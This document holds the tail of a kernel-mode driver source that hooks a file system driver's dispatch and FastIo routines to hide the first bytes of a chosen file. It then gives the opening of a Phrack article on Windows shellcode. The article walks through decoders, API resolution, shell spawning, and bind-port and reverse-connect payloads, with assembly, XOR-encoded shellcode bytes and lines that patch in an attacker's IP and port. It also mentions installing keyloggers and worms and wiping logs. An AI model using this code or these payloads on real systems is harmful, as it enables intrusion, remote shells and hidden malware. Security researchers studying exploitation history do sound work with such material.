case FileAllocationInformation:
case FileAllInformation:
//_asm int 3;
HookIrpCompletion(CISL, (PIO_COMPLETION_ROUTINE)NewComplRtn, Irp->AssociatedIrp.SystemBuffer, CISL->Parameters.QueryFile.FileInformationClass);
}
}
//Call original handler
return OldQueryDisp(DeviceObject, Irp);
}
//Function handles IRP_MJ_SET_INFORMATION
NTSTATUS NewSetInfoDisp (
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
//_asm int 3;
PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp);
if (CISL->FileObject && ThisIsOurFile(FName))
{
//_asm int 3;
switch (CISL->Parameters.QueryFile.FileInformationClass)
{
//Information types that contains file size or current offset.
//In all cases modify CurrentByteOffset and/or size (EndOfFile)
//to hide first InvisiblePartSize bytes
case FilePositionInformation:
((PFILE_POSITION_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->CurrentByteOffset.QuadPart += InvisiblePartSize;
break;
case FileEndOfFileInformation:
((PFILE_END_OF_FILE_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->EndOfFile.QuadPart += InvisiblePartSize;
break;
case FileStandardInformation:
((PFILE_STANDARD_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->EndOfFile.QuadPart += InvisiblePartSize;
break;
case FileAllocationInformation:
//_asm int 3;
((PFILE_ALLOCATION_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->AllocationSize.QuadPart += InvisiblePartSize;
break;
case FileAllInformation:
((PFILE_ALL_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->PositionInformation.CurrentByteOffset.QuadPart += InvisiblePartSize;
((PFILE_ALL_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->StandardInformation.EndOfFile.QuadPart += InvisiblePartSize;
break;
}
}
//Call original handler
return OldSetInfoDisp(DeviceObject, Irp);
}
//Function handles IRP_MJ_DIRECTORY_CONTROL
NTSTATUS NewDirCtlDisp (
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
void *pBuffer;
PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp);
//_asm int 3;
if ((CISL->MajorFunction == IRP_MJ_DIRECTORY_CONTROL) &&
(CISL->MinorFunction == IRP_MN_QUERY_DIRECTORY))
{
//Handle both ways of passing user supplied buffer
if (Irp->MdlAddress)
pBuffer = MmGetSystemAddressForMdl(Irp->MdlAddress);
else
pBuffer = Irp->UserBuffer;
HookIrpCompletion(CISL, (PIO_COMPLETION_ROUTINE)NewComplRtn, pBuffer, ((PQUERY_DIRECTORY)(&CISL->Parameters))->FileInformationClass);
}
//Call original handler
return OldDirCtlDisp(DeviceObject, Irp);
}
#undef FName
//Function handles FastIoRead
BOOLEAN NewFastIoRead(
IN PFILE_OBJECT FileObject,
IN PLARGE_INTEGER FileOffset,
IN ULONG Length,
IN BOOLEAN Wait,
IN ULONG LockKey,
OUT PVOID Buffer,
OUT PIO_STATUS_BLOCK IoStatus,
IN PDEVICE_OBJECT DeviceObject
)
{
LARGE_INTEGER NewFileOffset;
//_asm int 3;
if ((FileObject) && (ThisIsOurFile(&FileObject->FileName)))
{
//_asm int 3;
//Modify FileOffset to hide first InvisiblePartSize bytes
NewFileOffset.QuadPart = FileOffset->QuadPart + InvisiblePartSize;
return OldFastIoReadDisp(FileObject, &NewFileOffset, Length, Wait, LockKey, Buffer,
IoStatus, DeviceObject);
}
//Call original handler
return OldFastIoReadDisp(FileObject, FileOffset, Length, Wait, LockKey, Buffer,
IoStatus, DeviceObject);
}
//Function handles FastIoWrite
BOOLEAN NewFastIoWrite(
IN PFILE_OBJECT FileObject,
IN PLARGE_INTEGER FileOffset,
IN ULONG Length,
IN BOOLEAN Wait,
IN ULONG LockKey,
OUT PVOID Buffer,
OUT PIO_STATUS_BLOCK IoStatus,
IN PDEVICE_OBJECT DeviceObject
)
{
LARGE_INTEGER NewFileOffset;
//_asm int 3;
if ((FileObject) && (ThisIsOurFile(&FileObject->FileName)))
{
//_asm int 3;
//Modify FileOffset to hide first InvisiblePartSize bytes
NewFileOffset.QuadPart = FileOffset->QuadPart + InvisiblePartSize;
return OldFastIoWriteDisp(FileObject, &NewFileOffset, Length, Wait, LockKey, Buffer,
IoStatus, DeviceObject);
}
return OldFastIoWriteDisp(FileObject, FileOffset, Length, Wait, LockKey, Buffer,
IoStatus, DeviceObject);
}
//Function handles FastIoQueryStandartInfo
BOOLEAN NewFastIoQueryStandartInfo(
IN struct _FILE_OBJECT *FileObject,
IN BOOLEAN Wait,
OUT PFILE_STANDARD_INFORMATION Buffer,
OUT PIO_STATUS_BLOCK IoStatus,
IN struct _DEVICE_OBJECT *DeviceObject
)
{
//Call original handler
BOOLEAN status = OldFastIoQueryStandartInfoDisp(FileObject, Wait, Buffer, IoStatus, DeviceObject);
if ((FileObject) && (ThisIsOurFile(&FileObject->FileName)))
{
//_asm int 3;
//Modify EndOfFile to hide first InvisiblePartSize bytes
Buffer->EndOfFile.QuadPart -= InvisiblePartSize;
}
return status;
}
extern "C"
NTSYSAPI
NTSTATUS
NTAPI
ObReferenceObjectByName(
IN PUNICODE_STRING ObjectPath,
IN ULONG Attributes,
IN PACCESS_STATE PassedAccessState OPTIONAL,
IN ACCESS_MASK DesiredAccess OPTIONAL,
IN POBJECT_TYPE ObjectType,
IN KPROCESSOR_MODE AccessMode,
IN OUT PVOID ParseContext OPTIONAL,
OUT PVOID *ObjectPtr
);
extern "C" PVOID IoDriverObjectType;
//Function hooks given dispatch function (MajorFunction)
VOID InterceptFunction(UCHAR MajorFunction,
PDRIVER_OBJECT pDriverObject,
OPTIONAL PDRIVER_DISPATCH *OldFunctionPtr,
OPTIONAL PDRIVER_DISPATCH NewFunctionPtr)
{
PDRIVER_DISPATCH *TargetFn;
TargetFn = &(pDriverObject->MajorFunction[MajorFunction]);
//hook only if handler exists
if (*TargetFn)
{
if (OldFunctionPtr) *OldFunctionPtr = *TargetFn;
if (NewFunctionPtr) *TargetFn = NewFunctionPtr;
}
}
//Function hooks given driver's dispatch functions
NTSTATUS Intercept(PWSTR pwszDeviceName)
{
UNICODE_STRING DeviceName;
NTSTATUS status;
KIRQL OldIrql;
_asm int 3;
pDriverObject = NULL;
RtlInitUnicodeString(&DeviceName, pwszDeviceName);
status = ObReferenceObjectByName(&DeviceName, OBJ_CASE_INSENSITIVE, NULL, 0, (POBJECT_TYPE)IoDriverObjectType, KernelMode, NULL, (PVOID*)&pDriverObject);
if (pDriverObject)
{
//Raise IRQL to avoid context switch
//when some pointer is semi-modified
KeRaiseIrql(HIGH_LEVEL, &OldIrql);
//hook dispatch functions
InterceptFunction(IRP_MJ_READ, pDriverObject, &OldReadDisp, NewReadWriteDisp);
InterceptFunction(IRP_MJ_WRITE, pDriverObject, &OldWriteDisp, NewReadWriteDisp);
InterceptFunction(IRP_MJ_QUERY_INFORMATION, pDriverObject, &OldQueryDisp, NewQueryDisp);
InterceptFunction(IRP_MJ_SET_INFORMATION, pDriverObject, &OldSetInfoDisp, NewSetInfoDisp);
InterceptFunction(IRP_MJ_DIRECTORY_CONTROL, pDriverObject, &OldDirCtlDisp, NewDirCtlDisp);
//hook FastIo dispatch functions if FastIo table exists
if (pDriverObject->FastIoDispatch)
{
// w2k [rus]
//It would be better to copy FastIo table to avoid
//messing with kernel memory protection, but it works as it is
OldFastIoReadDisp = pDriverObject->FastIoDispatch->FastIoRead;
pDriverObject->FastIoDispatch->FastIoRead = NewFastIoRead;
OldFastIoWriteDisp = pDriverObject->FastIoDispatch->FastIoWrite;
pDriverObject->FastIoDispatch->FastIoWrite = NewFastIoWrite;
OldFastIoQueryStandartInfoDisp = pDriverObject->FastIoDispatch->FastIoQueryStandardInfo;
pDriverObject->FastIoDispatch->FastIoQueryStandardInfo = NewFastIoQueryStandartInfo;
}
KeLowerIrql(OldIrql);
}
return status;
}
//Function cancels hooking
VOID UnIntercept()
{
KIRQL OldIrql;
if (pDriverObject)
{
KeRaiseIrql(HIGH_LEVEL, &OldIrql);
InterceptFunction(IRP_MJ_READ, pDriverObject, NULL, OldReadDisp);
InterceptFunction(IRP_MJ_WRITE, pDriverObject, NULL, OldWriteDisp);
InterceptFunction(IRP_MJ_QUERY_INFORMATION, pDriverObject, NULL, OldQueryDisp);
InterceptFunction(IRP_MJ_SET_INFORMATION, pDriverObject, NULL, OldSetInfoDisp);
InterceptFunction(IRP_MJ_DIRECTORY_CONTROL, pDriverObject, NULL, OldDirCtlDisp);
if (pDriverObject->FastIoDispatch)
{
pDriverObject->FastIoDispatch->FastIoRead = OldFastIoReadDisp;
pDriverObject->FastIoDispatch->FastIoWrite = OldFastIoWriteDisp;
pDriverObject->FastIoDispatch->FastIoQueryStandardInfo = OldFastIoQueryStandartInfoDisp;
}
KeLowerIrql(OldIrql);
ObDereferenceObject(pDriverObject);
}
}
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0xXX, Issue 0x3e, Phile #0x07 of 0x10
|=-----------=[ History and Advances in Windows Shellcode ]=-------------=|
|=-----------------------------------------------------------------------=|
|=---------------=[ sk <sk at scan-associates d0t net> ]=----------------=|
|=------------------------=[ June 22nd, 2004 ]=--------------------------=|
--[ Contents
1. Abstract
2. Introduction to shellcode
a. Why shellcode?
b. Windows shellcode skeleton
i. Getting EIP
ii. Decoder
iii. Getting address of required function
iv. Locating Kernel32 base memory
v. Getting GetProcAddress()
vi. Getting other functions by name
vii. Spawning a shell
c. Compiling our shellcode
3. The connection
a. Bind to port shellcode
i. Bind to port shellcode implementation
ii. Problem with Bind to port shellcode
b. Reverse connect
i. Reverse connect shellcode implementation
ii. Problem with reverse connect shellcode
4. One-way shellcode
a. Find socket shellcode
i. Problem with find socket shellcode
b. Reuse address shellcode
i. Reuse address shellcode implementation
ii. Problem with reuse address shellcode
c. Rebind socket
i. Rebind socket shellcode implementation
d. Other one-way shellcode
5. Transferring file using shellcode
a. Uploading file with debug.exe
b. Uploading file with VBS
c. Retrieving file from command line
6. Avoiding IDS detection
7. Restarting vulnerable service
8. End of shellcode?
9. Greetz!
10. References
11. The code
--[ 1. Abstract
Firewall is everywhere in the Internet now. Most of the exploits
released in the public have little concern over firewall rules
because they are just proof of concept. In real world, we would
encounter targets with firewall that will make exploitation harder.
We need to overcome these obstacles for a successful penetration
testing job. The research of this paper started when we need to take
over (own) a machine which is heavily protected with rigid firewall
rules. Although we can reach the vulnerable service but the strong
firewall rules between us and the server hinder all standard exploits
useless.
The objective of the research is to find alternative ways which allow
penetration tester to take control of a machine after a successful
buffer overflow. A successful buffer overflow in a sense that it will
eventually leads to arbitrary code execution. These alternative
mechanisms should succeed where others fail even in the most rigid
firewall rules.
In our research to find a way to by pass these troublesome firewall
rules, we looked into various existing techniques used by exploits in
the public and why they fail. Then, we found several mechanisms that
will work, but dependence to the vulnerable service. Although we can
take over the server using these techniques, we take one step further
to develop a more generic technique which is not dependence to any
service and can be reuse in most other buffer overflows.
This paper will start with dissection on a standard Win32 shellcode
as an introduction. We will then explore the techniques being used by
proof of concept codes to allow attacker to control the target and
their limitations. Then, we will introduce a few alternatives
techniques which we call "One-way shellcode" and how they may by pass
firewall rules. Finally, we also discussed on a possible way to
transfer file from command line without breaking the firewall rule.
--[ 2. Introduction to shellcode
An exploit usually consists of two major components:
1. Exploitation technique
2. Payload
The objective of the exploitation part is to divert the execution
path of the vulnerable program. We can achieve that via one of these
techniques:
* Stack-based Buffer Overflow
* Heap-based Buffer Overflow
* Format String
* Integer Overflow
* Memory corruption, etc
Even though we may use one or more of those exploitation techniques
to control the execution path of a program, each vulnerability need
to be exploited differently. Every vulnerability has different way to
trigger the bug. We may use different buffer size or character set to
trigger the overflow. Although we can probably use the same technique
for vulnerabilities in the same class, we cannot use the same code.
Once we control of the execution path, we probably want it to execute
our code. Thus, we need to include these code or instruction set in
our exploit. The part of code which allows us to execute arbitrary
code is known as payload. The payload can virtually do everything a
computer program can do with the permission of the vulnerable service.
A payload that spawns you a shell is known as a shellcode. It allows
interactive command execution. Unlike Exploitation technique, a well
designed shellcode can easily be reused in other exploits. We will
try to build shellcode that can be reused. A basic requirement of a
shellcode is the shell and a connection that allow use to use it
interactively.
--[ 2.a Why shellcode?
Why shellcode? Simply because it is the simplest way that allows the
attacker to explore the target system interactively. It might give
the attacker the ability to discover internal network, to further
penetrate into other computers. A simple "net view /domain" command
in Windows box would review many other easy targets.
A shell may also allow upload/download file/database, which is
usually needed as proof of successful pen-test. You also may easily
install trojan horse, key logger, sniffer, Enterprise worm, WinVNC,
etc. An Enterprise Worm could be a computer worm which was written
specifically to infect other machine in the same domain using the
credential of the primary domain controller.
A shell is also useful to restart the vulnerable services. This will
keep the service running and your client happy. But more importantly,
restarting the vulnerable service usually allow us to attack the
service again. We also may clean up traces like log files and events
with a shell. There are just many other possibilities.
However, spawning a shell is not the only thing you can do in your
payload. As demonstrated by LSD in their Win32 ASM component, you can
create a payload that loop and wait for command from the attacker.
The attacker could issue a command to the payload to create new
connection, upload/download file or spawn a shell. There are also a
few others payload strategies in which the payload will loop and wait
for additional payload from the attacker.
Regardless whether a payload is spawning a shell or loop to wait for
instructions, it still needs to communicate with the attacker.
Although we are using payload that spawns a shell throughout this
article, the mechanisms being use for communication can be use in
other payload strategy.
--[ 2.b Windows shellcode skeleton
Shellcode usually start by getting to know where you are during the
execution by grapping the EIP value. And then, a decoding process
will take place. The process will then jump into the decoded memory
area where execution can continue. Before we can do anything useful,
we need to find addresses of all functions and API that we need to
use in the shellcode. With that, we can setup a socket, and finally
spawn a shell.
* Getting EIP
* Decoder
* Getting addresses of required functions
* Setup socket
* Spawning shell
Let's look into what these components suppose to do, in greater
detail.
--[ 2.b.i Getting EIP
We would like to make our shellcode as reusable as possible. For that,
we will avoid using any fixed address which could change in different
environment. We will use relative addressing as much as we could. To
start with, we need to know where we are in the memory. This address
will be our base address. Any variable or function in the shellcode
will be relative to this address. To get this address, we can use a
CALL and a POP instruction. As we already know, whenever we are
calling a function, the return value is push into the stack just
before the function is called. So, if the first thing we do in the
function is a POP command, we will obtain the return value in a
register. As shown below, EAX will be 451005.
450000:
label1: pop eax
450005: ... (eax = 451005)
451000: call label1 ;start here!
451005:
Most likely you will find something similar to the code below in a
shellcode, which does about the same thing.
450000: jmp label1
450002:
label2: jmp cont
450004:
label1: call label2
450009:
cont: pop eax
... (eax = 450009)
Another interesting mechanism being use to obtain the EIP is to make
use of a few special FPU instructions. This was implemented by Aaron
Adams in Vuln-Dev mailing list in the discussion to create pure ASCII
shellcode. The code uses fnstenv/fstenv instructions to save the
state of the FPU environment.
fldz
fnstenv [esp-12]
pop ecx
add cl, 10
nop
ECX will hold the address of the EIP. However, these instructions
will generate non-standard ASCII characters.
--[ 2.b.ii Decoder
Buffer overflow usually will not allow NULL and a few special
characters. We can avoid using these characters by encoding our
shellcode. The easiest encoding scheme is the XOR encoding. In this
encoding, we will XOR each char in our shellcode with a predefined
value. During execution, a decoder will translate the rest of the
code back to real instruction by XOR it again with the predefined
value. As shown here, we can set the number of byte we want to decode
in ecx, and while eax is pointing to the starting point of our
encoded shellcode. We xor the destination byte by byte with 0x96
until the loop over. There are other more advance encoding schemes,
of cause. We can use a DWORD xor value instead of a char to encode 4
bytes at a time. We also may break the code apart by encoding them
using a different xor key. All with the purpose to get rid of
unusable chars in our shellcode.
xor ecx, ecx
mov cl, 0C6h ;size
loop1:
inc eax
xor byte ptr [eax], 96h
loop loop1
The Metasploit project (http://metasploit.com/) contains a few very
useful encoders worth checking.
--[ 2.b.iii Getting address of required function
After the decoding process, we will jump into the memory area where
the decoded shellcode start to continue our execution. Before we can
do anything useful, we must locate the address of all APIs that we
need to use and store it in a jump table. We are not going to use any
fixed address to API because it is different between service packs.
To get the address of API we need, we can use an API called
GetProcAddress(). By supplying the name of the function we need to
this API, it will return the address where we can call to use it. To
obtain the address of GetProcAddress() itself, we can search the
export table of the Kernel32.dll in the memory. Kernel32.dll image is
located predefined in a memory location depending on the OS.
* NT - 0x77f00000
* 2kSP2 & SP3 - 0x77e80000
* WinXP - 0x77e60000
Since we know the default base memory of kernel32.dll is located at
these locations, we can start looping backward from 0x77f00000 to
look for "MZ\x90" byte sequences. Kernel32 start with "MZ\x90" mark
just like any Windows application. This trick was used by High Speed
Junky (HSJ) in his exploit and it works quite nicely for all the
above OS and service pack. However Windows 2000 SP4's Kernel32.dll is
located at 0x7c570000. In order to scan the memory from 0x77f00000,
we need to setup an exception handler that will catch invalid memory
access.
--[ 2.b.iv Locating Kernel32 base memory
However, there is a better method to get the kernel32 base memory.
Using the fs selector, we can get into our PEB. By searching the
PEB_LDR_DATA structure, we will find the list of DLL which our
vulnerable program initialized when it start. The list of DLL will be
loaded in sequence, first, NTDLL, followed by Kernel32. So, by
traveling one nod forward in the list, we will get the base memory of
the Kernel32.dll. This technique, complete with the code, has been
published by researchers in VX-zine, then used by LSD in their
Windows Assembly component.
mov eax,fs:[30h] ; PEB base
mov eax,[eax+0ch] ; goto PEB_LDR_DATA
; first entry in InInitializationOrderModuleList
mov esi,[eax+1ch]
lodsd ; forward to next LIST_ENTRY
mov ebx,[eax+08h] ; Kernel32 base memory
--[ 2.b.v Getting GetProcAddress()
Once we know the base address of Kernel32.dll, we can locate its
Export Table and look for "GetProcAddress" string. We also can get
the total of exported functions. Using the number, we loop until we
find the string.
mov esi,dword ptr [ebx+3Ch] ;to PE Header
add esi,ebx
mov esi,dword ptr [esi+78h] ;to export table
add esi,ebx
mov edi,dword ptr [esi+20h] ;to export name table
add edi,ebx
mov ecx,dword ptr [esi+14h] ;number of exported function
push esi
xor eax,eax ;our counter
For each address in the jump table, we will check if the destination
name is match with "GetProcAddress". If not, we increase EAX by one
and continue searching. Once we found a match, EAX will be holding
our counter. Using the following formula, we can obtain the real
address of GetProcAddress().
ProcAddr = (((counter * 2) + Ordinal) * 4) + AddrTable + Kernel32Base
We count until we reach "GetProcAddress". Multiply the index by 2,
add it to the address of exported ordinals table. It should now point
to the ordinal of GetProcAddress(). Take the value, multiply it by 4.
Total it up with the address of the addrress of the table and
Kernel32 base address, we will get the real address of the
GetProcAddress(). We can use the same technique to get the address of
any exported function inside Kernel32.
--[ 2.b.vi Getting other functions by name
Once we get the address of GetProcAddress(), we can easily obtain
address of any other API. Since there are quite a number of APIs that
we need to use, we (actually, most of these codes were dissass from
HSJ's exploit) build a function that take a function name and return
the address. To use the function, set ESI pointing to the name of the
API we want to load. It must be NULL terminated. Set EDI point to the
jump table. A jump table is just a location where we store all
addresses of API we need to call. Set ECX to number of API we want it
to resolve.
In this example, we call to load 3 APIs:
mov edi,esi ;EDI is the output, our jump table
xor ecx,ecx
mov cl,3 ;Load 3 APIs
call loadaddr
The "loadaddr" function that get the job done:
loadaddr:
mov al,byte ptr [esi]
inc esi
test al,al
jne loadaddr ;loop till we found a NULL
push ecx
push edx
push esi
push ebx
call edx ;GetProcAddress(DLL, API_Name);
pop edx
pop ecx
stosd ;write the output to EDI
loop loadaddr ;loop to get other APIs
ret
--[ 2.b.vii Spawning a shell
Once we have gone thru those troublesome API address loading, we can
finally do something useful. To spawn a shell in Windows, we need to
call the CreateProcess() API. To use this API, we need to set up the
STARTUPINFO in such a way that, the input, output and error handler
will be redirected to a socket. We also will set the structure so
that the process will have no window. With the structure setup, we
just need to call CreateProcess to launch "cmd.exe" to get an
interactive command shell in windows.
;ecx is 0
mov byte ptr [ebp],44h ;STARTUPINFO size
mov dword ptr [ebp+3Ch],ebx ;output handler
mov dword ptr [ebp+38h],ebx ;input handler
mov dword ptr [ebp+40h],ebx ;error handler
;STARTF_USESTDHANDLES |STARTF_USESHOWWINDOW
mov word ptr [ebp+2Ch],0101h
lea eax,[ebp+44h]
push eax
push ebp
push ecx
push ecx
push ecx
inc ecx
push ecx
dec ecx
push ecx
push ecx
push esi
push ecx
call dword ptr [edi-28] ;CreateProcess
--[ 2.c Compiling our shellcode
The Code section in the end of the paper contains source code
bind.asm. bind.asm is a complete shellcode written in Assembly
Language which will create a shell in Windows and bind it to a
specific port. Compile bind.asm:
# tasm -l bind.asm
It will produce 2 files:
1. bind.obj - the object code
2. bind.lst - assembly listing
If we open bind.obj with a hex editor, we will see that the object
code start with something similar to this:
01) 80 0A 00 08 62 69 6E 64-2E 61 73 6D 62 88 20 00 ....bind.asmb. .
02) 00 00 1C 54 75 72 62 6F-20 41 73 73 65 6D 62 6C ...Turbo Assembl
03) 65 72 20 20 56 65 72 73-69 6F 6E 20 34 2E 31 99 er Version 4.1.
04) 88 10 00 40 E9 49 03 81-2F 08 62 69 6E 64 2E 61 ...@.I../.bind.a
05) 73 6D 2F 88 03 00 40 E9-4C 96 02 00 00 68 88 03 sm/...@.L....h..
06) 00 40 A1 94 96 0C 00 05-5F 54 45 58 54 04 43 4F .@......_TEXT.CO
07) 44 45 96 98 07 00 A9 B3-01 02 03 01 FE 96 0C 00 DE..............
08) 05 5F 44 41 54 41 04 44-41 54 41 C2 98 07 00 A9 ._DATA.DATA.....
09) 00 00 04 05 01 AE 96 06-00 04 46 4C 41 54 39 9A ..........FLAT9.
10) 02 00 06 5E 96 08 00 06-44 47 52 4F 55 50 8B 9A ...^....DGROUP..
11) 04 00 07 FF 02 5A 88 04-00 40 A2 01 91 A0 B7 01 .....Z...@......
12) 01 00 00 EB 02 EB 05 E8-F9 FF FF FF 58 83 C0 1B ............X...
13) ...
14) 5A 59 AB E2 EE C3 99 8A-07 00 C1 10 01 01 00 00 ZY..............
15) 9C 6D 8E 06 D2 7C 26 F6-06 05 00 80 74 0E F7 06 .m...|&.....t...
Our shellcode start with hex code of 0xEB, 0x02 as show in line 12 of
the partial hex dump above. It will end with 0xC3 as shown in line 14.
We need to use a hex editor to remove the first 176 bytes and the
last 26 bytes. (You don't need to do this if you are using NASM
compiler, but the author has been using TASM since his MS-DOS age).
Now that we have the shellcode in its pure binary form, we just need
to build a simple program that read from this file and produce the
corresponding hex value in a C string. Refer to the Code section
(xor.cpp) for the code that will do that. The output of the program
is our shellcode in C string syntax:
# xor bind.obj
BYTE shellcode[436] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
...
"\xE2\xEE\xC3";
--[ 3 The connection
We have seen some of the basic building block of a shellcode. But we
have not cover the connection part of the shellcode. As mentioned, a
shellcode needs a shell and a connection to allow interactive command.
We want to be able to send any command and see the output. Regardless
if we are spawning a shell, transferring file or loop to wait for
further command, we need to setup a connection. There are three
published techniques: Bind to port, Reverse connect and Find socket
shellcode. We will look into each one of these, as well as their
limitation. Along the way, various exploits that uses these shellcode
will be demonstrated to get a better understanding.
--[ 3.a Bind to port shellcode
Bind to port shellcode is popular being used in proof of concept
exploit. The shellcode setup a socket, bind it to a specific port and
listen for connection. Upon accepting a connection, you spawn a shell.
This following APIs are needed for this type of connection:
* WSASocket()
* bind()
* listen()
* accept()
It is important to note that we are using WSASocket() and not
socket() to create a socket. Using WSASocket will create a socket
that will not have an overlapped attribute. Such socket can be use
directly as a input/output/error stream in CreateProcess() API. This
eliminates the need to use anonymous pipe to get input/output from a
process which exist in older shellcode. The size of the shellcode
shrinks quite a bit using this technique. It was first introduced by
David Litchfield. You can find many of Bind too port shellcode in
Packetstorm Security by debugging shellcode of these exploits:
* slxploit.c
* aspcode.c
* aspx_brute.c
--[ 3.a.1 Bind to port shellcode implementation
mov ebx,eax
mov word ptr [ebp],2
mov word ptr [ebp+2],5000h ;port
mov dword ptr [ebp+4], 0 ;IP
push 10h
push ebp
push ebx
call dword ptr [edi-12] ;bind
inc eax
push eax
push ebx
call dword ptr [edi-8] ;listen (soc, 1)
push eax
push eax
push ebx
call dword ptr [edi-4] ;accept
Compiling bind.asm will create shellcode (435 bytes) that will work
with any service pack. We will test the bind to port shellcode using
a simple testing program - testskode.cpp. Copy the shellcode (in C
string) generated the xor program and parse it into testskode.cpp:
BYTE shellcode[436] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
...
// this is the bind port of the shellcode
*(unsigned short *)&shellcode[0x134] = htons(1212) ^ 0x0000;
void *ma = malloc(10000);
memcpy(ma,shellcode,sizeof(shellcode));
__asm
{
mov eax,ma
int 3
jmp eax
}
free(ma);
Compile and running testskode.cpp will result in a break point just
before we jump to the shellcode. If we let the process continue, it
will bind to port 1212 and ready to accept connection. Using netcat,
we can connect to port 1212 to get a shell.
--[ 3.a.2 Problem with bind to port shellcode
Using proof of concept exploit with bind to port shellcode against
server in organization with firewall usually will not work. Even
though we successfully exploited the vulnerability and our shellcode
executed, we will have difficulties connecting to the bind port.
Usually, firewall will allow connection to popular services like port
25, 53, 80, etc. But usually these ports are already in used by other
applications. Sometimes the firewall rules just did not open these
ports. We have to assume that the firewall block every port, expect
for the port number of the vulnerable service.
--[ 3.b Reverse connect shellcode
To overcome the limitation of bind to port shellcode, many exploits
prefer to use reverse connection shellcode. Instead of binding to a
port waiting for connection, the shellcode simply connect to a
predefined IP and port number to drop it a shell.
We must include our IP and port number which the target must connect
to give a shell in the shellcode. We also must run netcat or anything
similar in advance, ready to accept connection. Of cause, we must be
using IP address which the victim machine is reachable. Thus, usually
we use public IP.
The following APIs are needed to setup this type of connection:
* WSASocket()
* connect()
You can find many of these examples in Packetstorm Security by
debugging shellcode of these exploits:
* jill.c
* iis5asp_exp.c
* sqludp.c
* iis5htr_exp.c
--[ 3.b.1 Reverse connect shellcode implementation
push eax
push eax
push eax
push eax
inc eax
push eax
inc eax
push eax
call dword ptr [edi-8] ;WSASocketA
mov ebx,eax
mov word ptr [ebp],2
mov word ptr [ebp+2],5000h ;port in network byte order
mov dword ptr [ebp+4], 2901a8c0h ;IP in network byte order
push 10h
push ebp
push ebx
call dword ptr [edi-4] ;connect
Compiling reverse.asm will create shellcode (384 bytes) that will
work with any service pack. We will use this shellcode in our
JRun/ColdFusion exploit. However there is still one problem. This
exploit will not accept NULL character. We need to encode our
shellcode with an XOR shield. We can use the xor.cpp to encode our
shellcode using its third parameter.
First, let's compile reverse.asm:
# \tasm\bin\tasm -l reverse.asm
Then, hex-edit reverse.obj to get our shellcode. Refer to bind to
port shellcode on how to do it. Now, use xor.cpp to print the
shellcode:
# xor reverse.obj
BYTE shellcode[384] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
"\xFC\xFF\xFF\x83\xE4\xFC\x8B\xEC\x33\xC9\x66\xB9\x5B\x01\x80\x30"
"\x96\x40\xE2\xFA\xE8\x60\x00\x00\x00\x47\x65\x74\x50\x72\x6F\x63"
...
The first 36 bytes of the shellcode is our decoder. It has been
carefully crafted to avoid NULL. We keep this part of the shellcode.
Then, we run xor.cpp again with an extra parameter to xor the code
with 0x96.
# xor reverse.obj 96
BYTE shellcode[384] = ""
"\x7D\x94\x7D\x93\x7E\x6F\x69\x69\x69\xCE\x15\x56\x8D\x1B\x36\x97"
"\x6A\x69\x69\x15\x72\x6A\x1D\x7A\xA5\x5F\xF0\x2F\xCD\x97\x16\xA6"
"\x00\xD6\x74\x6C\x7E\xF6\x96\x96\x96\xD1\xF3\xE2\xC6\xE4\xF9\xF5"
...
"\x56\xE3\x6F\xC7\xC4\xC0\xC5\x69\x44\xCC\xCF\x3D\x74\x78\x55";
We take bytes sequence from the 37th bytes onwards. Combine the
encoder and the xored shellcode, we will get the actual shellcode
that we can use in our exploit.
BYTE shellcode[384] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
"\xFC\xFF\xFF\x83\xE4\xFC\x8B\xEC\x33\xC9\x66\xB9\x5B\x01\x80\x30"
"\x96\x40\xE2\xFA"
"\x7E\xF6\x96\x96\x96\xD1\xF3\xE2\xC6\xE4\xF9\xF5"
...
"\x56\xE3\x6F\xC7\xC4\xC0\xC5\x69\x44\xCC\xCF\x3D\x74\x78\x55";
We can use the following statements in our exploit to change the IP
and port to our machine which has netcat listening for a shell.
*(unsigned int *)&reverse[0x12f] = resolve(argv[1]) ^ 0x96969696;
*(unsigned short *)&reverse[0x12a] = htons(atoi(argv[2])) ^ 0x9696;
The JRun/ColdFusion exploit is attached in the Code section
(weiwei.pl). The exploit uses Reverse connect shellcode.
--[ 3.b.2 Problem with reverse connect shellcode
It is not unusual to find server which has been configure to block
out going connection. Firewall usually blocks all outgoing connection
from DMZ.
--[ 4 One-Way shellcode
With the assumption that firewall has been configured with the
following rules:
* Blocks all ports except for listening ports of the services
* Blocks all outgoing connections from server
Is there any way to control the server remotely? In some case, it is
possible to use existing resources in the vulnerable service to
establish the control. For example, it may be possible to hook
certain functions in the vulnerable service so that it will take over
socket connection or anything similar. The new function may check any
network packet for a specific signature. If there is, it may execute
command that attached along with the network packet. Otherwise, the
packet passes to the original function. We can then connect to the
vulnerable service with our signature to trigger a command execution.
As early as in 2001, Code Red worm uses some sort of function hooking
to deface web site
(http://www.eeye.com/html/Research/Advisories/AL20010717.html).
Another alternative will be to use resources that available from the
vulnerable service. It is also possible to patch the vulnerable
service to cripple the authentication procedure. This will be useful
for services like database, telnet, ftp, SSH and alike. In the case
of Web server, it is possible to create PHP/ASP/CGI pages in the web
root that will allow remote command execution via web pages. The
shellcode in the following link create an ASP page, as implemented by
Mikey (Michael Hendrickx):
http://users.pandora.be/0xffffffce/scanit/tools/sc_aspcmd.c
Code Red 2 worm also has a very interesting method to create a
backdoor of an IIS server. It creates a virtual path to drive C: and
D: of the server to the web root. Using these virtual paths, attacker
can execute cmd.exe which will then allow remote command execution:
http://www.eeye.com/html/research/advisories/AL20010804.html
However, these implementations are specific to the service we are
